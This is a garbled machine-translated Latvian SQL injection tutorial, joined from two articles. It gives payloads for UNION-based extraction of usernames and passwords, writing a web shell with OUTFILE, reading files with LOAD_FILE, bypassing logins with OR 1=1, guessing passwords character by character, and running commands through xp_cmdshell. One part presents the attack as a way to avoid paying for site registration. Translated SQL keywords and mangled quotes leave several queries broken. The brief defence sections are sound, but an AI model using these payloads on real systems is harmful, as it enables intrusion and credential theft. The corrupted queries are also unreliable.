Ja kļūda neparādās, var būt šādi iemesli:

1. SQL injekcijas šeit nav — pēdiņas tiek filtrētas, vai arī ir vērts to konvertēt (int)
2. Kļūdas izvade ir atspējota.

Ja joprojām saņemat kļūdu - Urā! Mēs atradām pirmo SQL injekcijas veidu - ciparu ievades parametru.

Virknes ievades parametrs

Pieprasījumus nosūtīsim uz index2.php. Šajā failā pieprasījums izskatās šādi:
$lietotājs = $_GET["lietotājs"]; $query = "SELECT * FROM news WHERE user="$user"";

Šeit mēs atlasām ziņas pēc lietotājvārda, un atkal mēs nefiltrējam.
Atkal nosūtām pieprasījumu ar citātu:

Tas radīja kļūdu. LABI! Tas nozīmē, ka pastāv ievainojamība. Iesākumam mums ar to pietiek – ķersimies pie prakses.

Rīkosimies

Nedaudz teorijas

Jūs, iespējams, nevarat sagaidīt, kad varēsit no tā iegūt kaut ko citu, izņemot kļūdas. Vispirms saprotiet, ka zīme " -- " tiek uzskatīts par komentāru SQL.

UZMANĪBU! Pirms un pēc tā ir jābūt atstarpēm. Vietrādī URL tie tiek pārsūtīti kā %20

Viss, kas nāk pēc komentāra, tiks atmests.
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

Tas izdosies. Varat to izmēģināt ar index2.php skriptu, nosūtot šādu pieprasījumu:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Uzziniet parametru SAVIENĪBA. SQL valodā atslēgvārds SAVIENĪBA izmanto, lai apvienotu divu SQL vaicājumu rezultātus vienā tabulā. Tas ir, lai no cita galda izvilktu kaut ko mums nepieciešamo.

Izmantosim to

Ja parametrs ir “Cipars”, mums nav jānosūta citāts pieprasījumā un, protams, beigās jāliek komentārs. Atgriezīsimies pie skripta indekss1.php.

Pievērsīsimies skriptam sqlinj/index1.php?id=1 UNION SELECT 1 . Mūsu datu bāzes vaicājums izskatās šādi:
SELECT * FROM news WHERE id=1 SAVIENĪBA IZVĒLĒTIES 1
Un viņš mums pieļāva kļūdu, jo... lai strādātu ar apvienošanas vaicājumiem, mums ir nepieciešams vienāds lauku skaits.

Jo Mēs nevaram ietekmēt to skaitu pirmajā pieprasījumā, tad mums ir jāatlasa to skaits otrajā, lai tas būtu vienāds ar pirmo.

Lauku skaita izvēle

Lauku atlase ir ļoti vienkārša, vienkārši nosūtiet šādus pieprasījumus:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Kļūda…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Atkal kļūda!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Nav kļūdu! Tas nozīmē, ka kolonnu skaits ir 5.

GROUP BY
Bieži gadās, ka var būt 20 vai 40 vai pat 60 lauki, lai mēs tos nebūtu jāšķiro katru reizi GROUP BY

Ja pieprasījums
sqlinj/index1.php?id=1 GROUP BY 2
neuzrādīja nekādas kļūdas, kas nozīmē, ka lauku skaits ir lielāks par 2. Mēģināsim:

Sqlinj/index1.php?id=1 GROUP BY 8
Op, mēs redzam kļūdu, tas nozīmē, ka lauku skaits ir mazāks par 8.

Ja nav kļūdu ar GROUP BY 4 un ar GROUP BY 6 ir kļūda, tad lauku skaits ir 5

Izvades kolonnu definēšana
Lai nodrošinātu, ka mums nekas netiek parādīts no pirmā pieprasījuma, pietiek ar neesošu ID aizvietošanu, piemēram:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5


Ar šo darbību mēs noteicām, kuras kolonnas tiek rādītas lapā. Tagad, lai aizstātu šos numurus ar nepieciešamo informāciju, jums jāturpina pieprasījums.

Datu izvade

Pieņemsim, ka mēs zinām, ka tabula joprojām pastāv lietotājiem kurā lauki pastāv id, nosaukums Un caurlaide.
Mums ir jāiegūst informācija par lietotāju ar ID=1

Tāpēc izveidosim šādu vaicājumu:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 NO lietotājiem WHERE id=1
Skripts arī turpina izvadīt

Lai to izdarītu, skaitļu 1 un 3 vietā mēs aizstāsim lauku nosaukumus

Sqlinj/index1.php?id=-1 UNION SELECT nosaukums,2,pass,4,5 NO lietotājiem WHERE id=1
Mēs saņēmām to, ko mums vajadzēja!

Attiecībā uz "virknes ievades parametru" kā skriptā index2.php sākumā jāliek pēdiņas un beigās komentāra zīme. Piemērs:
sqlinj/index2.php?user=-1" UNION SELECT nosaukums,2,pass,4,5 NO lietotājiem WHERE id=1 --%20

Lasīt/rakstīt failus

Lai lasītu un rakstītu failus, datu bāzes lietotājam ir jābūt FILE_PRIV tiesībām.
Failu ierakstīšana
Patiesībā viss ir ļoti vienkārši. Lai rakstītu failu, mēs izmantosim funkciju OUTFILE.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 OUTFILE "1.php" --%20
Lieliski, fails ir reģistrēts pie mums. Tādējādi mēs varam aizpildīt mini apvalku:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 OUTFILE "1.php" --%20
Failu lasīšana
Failu lasīšana ir pat vienkāršāka nekā rakstīšana. Pietiek vienkārši izmantot funkciju LOAD_FILE, mūsu atlasītā lauka vietai:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 -%20

Tādējādi mēs esam izlasījuši iepriekšējo rakstīto failu.

Aizsardzības metodes

Aizsargāt sevi ir pat vieglāk nekā izmantot ievainojamību. Vienkārši filtrējiet datus. Ja nododat ciparus, izmantojiet
$id = (int) $_GET["id"];
Kā ieteica lietotājs malroc. Aizsargājiet sevi, izmantojot ACVN vai sagatavotus paziņojumus.

Pabeigšanas vietā

Šeit es vēlos pabeigt savu pirmo daļu par "SQL injekciju iesācējiem". Otrajā apskatīsim smagākus injekciju piemērus. Mēģiniet pats rakstīt neaizsargātus skriptus un izpildīt vaicājumus.
Un atcerieties, neuzticieties nevienam savas vietnes lietotājam.

Birkas: pievienojiet atzīmes

SQL injekcija diezgan laba iespēja hakeram iegūt
piekļuvi serverim. Un ar nelielu piepūli viņš
joprojām saprot :)

Kodētājs iekšā

Mūsdienās tiek atbalstīts darbs ar datu bāzēm
gandrīz visas programmēšanas valodas, tostarp BASIC, C++, Java, PERL, PHP, Assembler un pat JavaScript! Un šīs programmas tiek sauktas tikai par DBVS - datu bāzes pārvaldības sistēmām. Datu bāzes bieži tiek izmantotas finanšu problēmu risināšanai,
grāmatvedība, personāla organizācija, bet savu pielietojumu atraduši arī internetā.

Datu bāzes bieži izmanto, lai rakstītu WEB lietojumprogrammas. To izmantošana ir vispiemērotākā lietotāju reģistrācijas datu, sesiju identifikatoru glabāšanai, meklēšanas organizēšanai, kā arī citiem uzdevumiem, kuriem nepieciešama lielāka apstrāde.
datu apjoms. Lai piekļūtu datu bāzei, tiek izmantotas serveru tehnoloģijas: PHP, PERL, ASP utt. Šeit sākas jautrība. Atrodoties serverī
ir instalēti visi ielāpi un ugunsmūris bloķē visus portus, izņemot 80. portu, vai, ja ir nepieciešama autentifikācija, lai piekļūtu dažiem datiem, hakeris var izmantot SQL injekciju, lai uzlauztu. Šī uzbrukuma būtība ir izmantot kļūdu WEB tehnoloģiju un SQL krustpunktā. Fakts ir tāds, ka daudzas tīmekļa lapas lietotāju datu apstrādei veido īpašu SQL datu bāzes pieprasījums. Neuzmanīga šīs tehnikas izmantošana var radīt diezgan interesantus rezultātus...

SQL injekcija

Lai izskaidrotu uzbrukumu, iedomāsimies, ka jūs apmeklējāt vietni, lai lejupielādētu vienu ļoti svarīgu rīku un ar šausmām pamanījāt, ka to var izdarīt tikai reģistrēts lietotājs, un reģistrācija, protams, maksā naudu 🙂 Jūs nevēlaties atdot savu pēdējā nopelnītā nauda, ​​bet bez programmas neiztikt! Ir pienācis laiks atcerēties, kā
piekļūt datu bāzēm SQL. Piemēram, pieteikumvārda un paroles pārbaude PHP var izskatīties šādi:

$result=mysql_db_query($db,"SELECT * FROM $table WHERE user="$login" UN
pass="$parole"");
$num_rows=mysql_num_rows($rezultāts);
mysql_close($saite);
ja ($num_rows!=0)
{
// AUTENTIKĀCIJA OK
}
cits
{
// AUTENTIFIKĀCIJAS KĻŪDA
}

Es pievienoju divus komentārus: "AUTENTICATION OK" - man tas jāaizstāj
dodieties uz kodu, kas tiks izpildīts, ja parole un pieteikšanās būs pareiza. Vēl viena “AUTENTIKĀCIJAS KĻŪDA” ir vieta, kur tiks aprakstīts kods, kas tiks izpildīts, ja tie būs nepareizi. Ja aizpildīsit veidlapu, pieprasījums izskatīsies šādi “http://www.server.com?login=user&password=31337”, kur www.server.com ir nosaukums.
serveris, ar kuru mēs cenšamies izveidot savienojumu. Mēs atradām to, ko meklējām, un tāpēc mēs atkal atgriezīsimies darbā SQL. Tātad, ja autorizācijai ir jānorāda pieteikumvārds un parole, tad tiek ģenerēts SQL pieprasījums izskatīsies šādi:

SELECT * FROM users WHERE login="user" UN
parole = "31337"

Tas nozīmē apmēram šādu: atgriezt man visus ierakstus no lietotāju datu bāzes, kuru pieteikšanās vārds ir “lietotājs” un parole ir “31337”. Ja šāds ieraksts ir, tad lietotājs ir reģistrēts, bet ja nē, tad nē... Bet pie noteiktiem apstākļiem visu var labot. Tas attiecas uz situāciju, kad lietojumprogramma nepārbauda pārsūtīto datu saturu vai pilnībā nepārbauda to klātbūtni. SQL instrukcijas. Šajā piemērā ir pārbaudīti divi lauki login un parole, bet, ja kā paroli norādāt “31337′ AND email=”. [aizsargāts ar e-pastu]”(bez pēdiņām), vaicājums izrādīsies nedaudz atšķirīgs:

SELECT * FROM users WHERE login = "lietotājs" UN parole = "31337" UN
e-pasts=" [aizsargāts ar e-pastu]"

Un, ja e-pasta lauks pastāv, šis nosacījums arī tiks pārbaudīts. Ja atceraties Būla algebras pamatus, jums nāk prātā, ka papildus darbībai “un” ir arī “vai”, un, tā kā to lietošanu atbalsta SQL, varat
aprakstītajā veidā pievienojiet nosacījumu, kas vienmēr atgriež patiesu. Lai to izdarītu, kā pieteikšanās ir jānorāda “user’ OR 1=1—”, un tādā gadījumā pieprasījumam būs šāda forma:

SELECT * FROM users WHERE login="lietotājs" VAI 1=1--" UN
parole = "31337"

Vispirms jums jāzina, ka “-” nozīmē pieprasījuma beigas un viss pēc “-”
netiks apstrādāts! Izrādās, ka mēs iesniedzām pieprasījumu:

SELECT * FROM users WHERE login="lietotājs" VAI 1=1

Kā redzat, mēs pievienojām nosacījumu “1=1”, kas nozīmē, ka verifikācijas kritērijs būs “ja pieteikšanās ir “lietotājs” vai 1=1”, bet 1 vienmēr ir vienāds ar 1 (vienīgais izņēmums var būt Danija Šepovalova aritmētika :)). Lai pārbaudītu mūsu aizdomas
Adreses joslā ievadiet “http://www.server.com?login=user vai 1=1—&password=31337”. Tas noved pie tā, ka nav svarīgi, kuru pieteikumvārdu mēs norādījām, bet gan
īpaši parole! Un mēs esam matricā... ak, sistēmā un varam mierīgi lejupielādēt to, ko mums vajag.

Bet tas viss ir teorētiski. Praksē mēs nezinām, kā tiek veidots pieprasījums, kādi dati tiek pārraidīti un kādā secībā. Tāpēc visiem laukiem ir jānorāda “lietotājs” VAI 1=1—”. Jums vajadzētu arī pārbaudīt, vai iesniegšanas veidlapā nav slēptu lauku. HTML tie ir aprakstīti kā " " Ja tādi ir, saglabājiet lapu un mainiet šo lauku vērtības. Tajos esošās vērtības bieži tiek aizmirstas pārbaudīt, vai tajās nav SQL priekšrakstu. Bet, lai viss darbotos, jums jānorāda pilns ceļš uz skriptu veidlapā (tags “FORM”) parametram “ACTION”, kas apstrādā šo pieprasījumu.

Bet ne vienmēr ir zināms, kā tiek veidots pieprasījums,
Iepriekšējo piemēru var izveidot šādos veidos:

SELECT * FROM users WHERE (pieteikšanās = "lietotājs" UN parole = "31337")
SELECT * FROM users WHERE login = "lietotājs" UN parole = "31337"
SELECT * FROM users WHERE login=lietotājs UN parole=31337

Šādā gadījumā varat izmēģināt šādas iespējas:

“VAI 1=1 —
» VAI 1=1—
VAI 1=1—
‘VAI ‘a’=’a
"VAI "a"="a
‘) VAI ('a'='a
VAI '1'='1'

Tas viss ir atkarīgs no skripta mērķa un programmētāja. Tā kā katrs cilvēks mēdz visu darīt savā veidā, tad pilnīgi iespējams, ka programmētājs neizvēlēsies vieglāko variantu. Tāpēc nevajadzētu nekavējoties
padodies, ja tevi noraidīs. Nepieciešams
izmēģiniet pēc iespējas vairāk iespēju...

Paroles noteikšana

Autorizācijas apiešana nav slikta, taču ļoti bieži jūsu izmantotā bedre tiek aizvērta, un viss, kas jums bija pieejams, tiek zaudēts.
Tas ir sagaidāms, ja programmētājs nav muļķis
Laika gaitā tas aizvērs visas nepilnības. Jūs varat viegli atbrīvoties no šādām situācijām, rūpējoties par to iepriekš. Pareizais risinājums var būt paroles uzminēšana, izmantojot
autentifikācijas rezultātu analīze. Vispirms mēģināsim uzminēt paroli, lai to izdarītu, ievadiet tās atrašanās vietu:

“VAI parole>” a

Ja mums saka, ka autorizācija ir nodota, tad parole
nesākas ar burtu “a”, bet ar kādu no tālāk norādītajiem sarakstā. Ejam tālāk un aizstājam
vieta "a", nākamais "b", "c", "d", "e"... utt. līdz brīdim, kad viņi mums paziņo, ka parole nav pareiza. Ļaujiet šim procesam apstāties pie simbola “x”, un tādā gadījumā tiek izveidotas divas situācijas attīstības iespējas: parole tiek atrasta vai parole sākas ar šo simbolu. Lai pārbaudītu pirmo opciju, ierakstiet paroles atrašanās vietu:

‘VAI parole=’x

un ja parole ir pieņemta un tevi ielaiž, tad tu paroli uzminēji! Nu, nē, tad jums vajadzētu izvēlēties otro rakstzīmi,
tieši tas pats, no sākuma. Pārbaudiet divas rakstzīmes
vajag to pašu. Galu galā jūs saņemsit paroli, un jūs tāpat meklēsit pieteikšanos :)
Ja atrastā parole un pieteikšanās jums nav piemērota, varat atrast citus. Lai to izdarītu, pārbaude jāsāk no atrastās paroles pēdējās rakstzīmes. Tātad, ja parole bija “xxx”, ir jāpārbauda paroles esamība
"xxxy":

‘VAI parole=’xxx

lai nepalaistu garām vairākas iespējas!

MS SQL serveris

MS SQL Server parasti ir nelaimes gadījums, ja tiek izlaista nepieciešamā filtrēšana. Izmantojot SQL injekcijas ievainojamību, varat izpildīt
komandas attālajā serverī, izmantojot exec master..xp_cmdshell. Bet, lai izmantotu šo dizainu
ir jāpabeidz darbība SELECT. SQL priekšraksti tiek atdalīti ar semikolu. Tāpēc, lai izveidotu savienojumu ar kādu IP, izmantojot Telnet, jums jāievada parole/pieteikšanās vieta:

"; exec master..xp_cmdshell "telnet 192.168.0.1" —

MS SQL Server ir vēl vairākas interesantas iespējas, kas ļauj uzzināt datubāzē saglabātos pieteikumvārdus un paroles. Lai to izdarītu, kļūdu izvade tiek novirzīta uz patvaļīgu serveri un caur tiem
analīzi, varat uzzināt tabulas nosaukumu, laukus un to veidus. Pēc tam jūs varat pieprasīt

UNION SELECT TOP 1 pieteikšanās NO lietotājiem —

(pieteikšanās ir tā lauka nosaukums, kurā ir pieteikšanās, un lietotāji ir tabulas nosaukums,
daļēji zinātnieki kļūdu analīzes procesā).

Atbilde varētu būt:


Sintakses kļūda, konvertējot nvarchar vērtību "admin" to a column of data type int. !}
/default.asp, 27. rinda

Tagad mēs zinām, ka ir lietotājs ar nosaukumu "admin". Tagad mēs varam iegūt viņa paroli:

' UNION SELECT TOP 1 parole NO lietotājiem, kur login='admin'—

Rezultāts:

Microsoft OLE DB nodrošinātāja ODBC draiveriem kļūda "80040e07"
Sintakses kļūda, konvertējot nvarchar vērtību "xxx" to a column of data type int. !}
/tedault.asp, 27. rinda

Tagad mēs zinām, ka ir lietotājs “admin” ar paroli “xxx”. Ar šo jūs varat droši
izmantojiet to un piesakieties sistēmā 😉

Bet ir daudzas citas funkcijas darbam ar SQL,
Strādājot ar datu bāzi, varat arī dzēst datus, modificēt tos, ievietot savus un pat manipulēt ar failiem un strādāt ar reģistru.
Kopumā SQL Server noteikumi :)

Aizsardzība

Bet no tā visa, protams, var izvairīties. Lai to izdarītu, jūs varat
izmantot filtrus,
nodrošina ražotāji. Jūs varat atrast savus risinājumus, piemēram, aizstājot visus vienumus
dubultpēdiņās (ja ir SQL pēc pieprasījuma mēs izmantojam vienus), vai otrādi. Jūs varat atļaut izmantot tikai burtus un s@baki, ja jums ir jāievada
epasta adrese. Un pērlē ir pārsteidzošs
funkcija 🙂 quote() modulī DBI::DBD, kas veiksmīgi padara jūsu vaicājumu drošu attiecībā uz SQL. Risinājumu ir daudz, tie vienkārši ir nepieciešami
izmantot. Citādi, kāpēc tad tas viss...